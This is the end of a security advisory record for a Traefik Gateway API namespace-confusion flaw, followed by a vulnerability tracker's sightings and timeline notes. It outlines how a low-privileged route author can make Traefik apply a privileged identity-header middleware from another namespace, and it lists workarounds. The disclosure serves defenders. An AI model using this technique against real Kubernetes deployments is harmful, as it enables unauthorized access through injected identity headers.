Service\n\nTraefik resolves the ExtensionRef as:\n platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n backend references.\n- Prefer route-local filters and explicitly audit\n `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-qq9q-x9w4-chhj",
"modified": "2026-08-05T21:49:19Z",
"published": "2026-08-05T21:49:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65601"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13462"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
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